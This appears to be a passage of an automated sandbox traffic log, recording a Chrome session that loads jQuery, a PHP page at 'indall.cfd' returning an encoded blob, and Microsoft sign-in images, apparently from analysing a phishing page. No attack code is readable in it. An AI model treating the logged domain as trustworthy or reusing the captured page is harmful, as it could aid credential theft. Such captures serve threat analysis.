2024-05-07 14:12:50 UTC	1369	IN	Data Raw: 61 6c 6c 28 65 5b 72 5d 2c 72 2c 65 5b 72 5d 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 65 7d 2c 6d 61 6b 65 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 74 7c 7c 5b 5d 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 65 26 26 28 70 28 4f 62 6a 65 63 74 28 65 29 29 3f 53 2e 6d 65 72 67 65 28 6e 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 5b 65 5d 3a 65 29 3a 75 2e 63 61 6c 6c 28 6e 2c 65 29 29 2c 6e 7d 2c 69 6e 41 72 72 61 79 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 2d 31 3a 69 2e 63 61 6c 6c 28 74 2c 65 2c 6e 29 7d 2c 6d 65 72 67 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 2b 74 2e 6c 65 6e 67 74 68 2c 72 3d 30 2c 69 3d 65 Data Ascii: all(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t\|\|[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e
2024-05-07 14:12:50 UTC	1369	IN	Data Raw: 3d 29 22 2b 4d 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c 5d 22 2c 46 3d 22 3a 28 22 2b 49 2b 22 29 28 3f 3a 5c 5c 28 28 28 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 29 7c 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 28 29 5b 5c 5c 5d 5d 7c 22 2b 57 2b 22 29 2a 29 7c 2e 2a 29 5c 5c 29 7c 29 22 2c 24 3d 6e 65 77 20 52 65 67 45 78 70 28 4d 2b 22 2b 22 2c 22 67 22 29 2c 42 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 22 2b 4d 2b 22 2b 7c 28 28 3f 3a 5e 7c 5b 5e 5c 5c 5c 5c Data Ascii: =)"+M+"(?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"\\]",F=":("+I+")(?:\$(('((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\")\|((?:\\\\.\|[^\\\\()[\\]]\|"+W+"))\|.)\$\|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+\|((?:^\|[^\\\\
2024-05-07 14:12:50 UTC	1369	IN	Data Raw: 28 31 36 29 2b 22 20 22 3a 22 5c 5c 22 2b 65 7d 2c 6f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 7b 64 69 72 3a 22 70 61 72 65 6e 74 4e 6f 64 65 22 2c 6e 65 78 74 3a 22 6c 65 67 65 6e 64 22 7d 29 3b 74 72 79 7b 48 2e 61 70 70 6c 79 28 74 3d 4f 2e 63 61 6c 6c 28 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 70 2e 63 68 69 6c 64 4e 6f 64 65 73 29 2c 74 5b 70 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 5d 2e 6e 6f 64 65 54 79 70 65 7d 63 61 74 63 68 28 65 29 7b 48 3d 7b 61 70 70 6c 79 3a 74 2e 6c 65 6e 67 Data Ascii: (16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.leng
2024-05-07 14:12:50 UTC	1369	IN	Data Raw: 72 3d 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 53 5d 3d 21 30 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 76 61 72 20 74 3d 43 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 66 69 65 6c 64 73 65 74 22 29 3b 74 72 79 7b 72 65 74 75 72 6e 21 21 65 28 74 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 66 69 6e 61 6c 6c 79 7b 74 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 Data Ascii: r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeCh
2024-05-07 14:12:50 UTC	1369	IN	Data Raw: 2c 6e 2c 72 3d 65 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 3a 70 3b 72 65 74 75 72 6e 20 72 21 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 70 21 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e 74 6f 70 21 3d 3d 6e 26 26 28 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 75 6e 6c 6f 61 64 22 2c 6f 65 2c 21 31 29 3a 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 6e 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 6f 65 29 29 2c 64 2e 73 63 6f 70 65 3d 63 65 Data Ascii: ,n,r=e?e.ownerDocument\|\|e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce
2024-05-07 14:12:50 UTC	1369	IN	Data Raw: 6f 3d 69 5b 72 2b 2b 5d 29 69 66 28 28 6e 3d 6f 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 29 26 26 6e 2e 76 61 6c 75 65 3d 3d 3d 65 29 72 65 74 75 72 6e 5b 6f 5d 7d 72 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c Data Ascii: o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,
2024-05-07 14:12:50 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 3b 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 2c 22 68 69 64 64 65 6e 22 29 2c 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6e 61 6d 65 22 2c 22 44 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 6e 61 6d 65 3d 64 5d 22 29 2e 6c 65 6e 67 74 68 26 26 79 2e 70 75 73 68 28 22 6e 61 6d 65 22 2b 4d 2b 22 2a 5b 2a 5e 24 7c 21 7e 5d 3f 3d 22 29 2c 32 21 3d 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 65 6e 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 79 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 2e 64 69 73 61 Data Ascii: lement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"[^$\|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),a.appendChild(e).disa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49766	91.108.102.252	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:50 UTC	344	OUT	GET /dashboard/ HTTP/1.1 Host: indall.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:52 UTC	266	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 May 2024 14:12:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 528 Connection: close X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET
2024-05-07 14:12:52 UTC	528	IN	Data Raw: 3c 62 72 20 2f 3e 0a 3c 62 3e 57 61 72 6e 69 6e 67 3c 2f 62 3e 3a 20 20 55 6e 64 65 66 69 6e 65 64 20 76 61 72 69 61 62 6c 65 20 24 73 65 6e 64 20 69 6e 20 3c 62 3e 43 3a 5c 78 61 6d 70 70 5c 68 74 64 6f 63 73 5c 64 61 73 68 62 6f 61 72 64 5c 69 6e 64 65 78 2e 70 68 70 3c 2f 62 3e 20 6f 6e 20 6c 69 6e 65 20 3c 62 3e 31 34 36 3c 2f 62 3e 3c 62 72 20 2f 3e 0a 42 53 44 67 45 51 53 42 6b 54 72 71 67 56 4e 6f 72 4e 38 47 2b 35 78 49 59 6f 37 39 4a 68 6f 78 76 4e 33 57 61 6c 32 7a 59 44 62 67 6d 71 67 75 4d 69 59 6d 4c 67 4a 4c 42 2f 32 65 69 30 32 71 4f 4f 46 32 7a 62 64 6c 7a 76 6b 72 61 57 4d 32 6d 34 77 66 4d 4d 2f 44 46 71 56 5a 70 62 62 65 66 51 53 73 75 39 5a 69 76 61 4a 35 38 56 46 45 59 48 59 68 5a 75 4d 61 35 32 72 75 4d 6f 57 6d 66 64 2f 51 32 35 76 Data Ascii: <br /><b>Warning</b>: Undefined variable $send in <b>C:\xampp\htdocs\dashboard\index.php</b> on line <b>146</b><br />BSDgEQSBkTrqgVNorN8G+5xIYo79JhoxvN3Wal2zYDbgmqguMiYmLgJLB/2ei02qOOF2zbdlzvkraWM2m4wfMM/DFqVZpbbefQSsu9ZivaJ58VFEYHYhZuMa52ruMoWmfd/Q25v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49768	152.199.4.44	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:50 UTC	620	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:50 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 3739895 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Tue, 07 May 2024 14:12:50 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (nya/797F) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 01a4233f-a01e-0015-2185-7e6d0e000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-05-07 14:12:50 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49772	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:50 UTC	614	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:51 UTC	779	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:50 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:34 GMT ETag: 0x8D79B8371B97A82 x-ms-request-id: 0804b5f5-f01e-004d-3988-a0e994000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141250Z-17455988649bknnsrdxdwk2v3n00000008ng000000001emu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-05-07 14:12:51 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49774	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:50 UTC	622	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:50 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:50 GMT Content-Type: image/svg+xml Content-Length: 790 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4987D872 x-ms-request-id: 0003a2ec-501e-0057-7e7b-a057a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141250Z-1587864896bplzdgnnfzs1f8b400000005x000000000t635 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 14:12:50 UTC	790	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 55 4b 8f 1a 31 0c fe 2b 68 7a 9d 31 b1 f3 ae 00 a9 3d 71 d9 2b 87 de 50 97 32 48 ec 83 65 04 fb f3 fb 39 c9 b0 bd 54 6c 3e 4c ec 38 7e 7c ce ae ae b7 e3 e2 f3 e5 fc 7a 5d 77 e3 34 bd 7f 5f 2e ef f7 3b dd 2d bd 7d 1c 97 62 8c 59 c2 a2 5b dc 4f cf d3 b8 ee 5c ea 16 e3 e1 74 1c a7 2a df 4e 87 fb cf b7 cf 75 67 16 66 e1 12 fe ba cd 6a 3a 4d e7 c3 66 7f bd 1e a6 eb 6a 59 7f ad 3e 0e bf a7 ff 79 f9 73 3a 9f d7 dd eb db eb a1 5b 6e 56 ef fb 69 5c 3c af bb 27 9b 7a 76 5b 36 3b eb b6 36 ed d8 bd 48 2f b2 85 24 5b 87 dd f0 c4 91 42 82 55 a2 b4 13 80 a4 2d 7b f2 96 77 c2 24 d6 ed 2d 49 af cb e0 c3 03 85 28 e4 ec 79 20 09 81 98 e3 5e c8 fb be 40 b3 f0 41 88 e1 12 76 62 1b 36 95 25 13 2f 03 b1 63 32 62 e1 23 41 f0 7e 27 46 dd 5d 60 2a Data Ascii: uUK1+hz1=q+P2He9Tl>L8~\|z]w4_.;-}bY[O\tNugfj:MfjY>ys:[nVi\<'zv[6;6H/$[BU-{w$-I(y ^@Avb6%/c2b#A~'F]`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49771	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:50 UTC	621	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:50 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:50 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: ba072146-401e-0062-1758-a0f1b8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141250Z-1587864896bvkq78mvpgsddtm800000000ug00000000khsk x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-05-07 14:12:50 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49770	13.107.213.40	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:50 UTC	638	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:50 UTC	800	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:50 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: 3106d3b9-d01e-0027-1ea7-9fa5a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T141250Z-17455988649fx2bpfd3rvx5z6800000001hg0000000031k6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
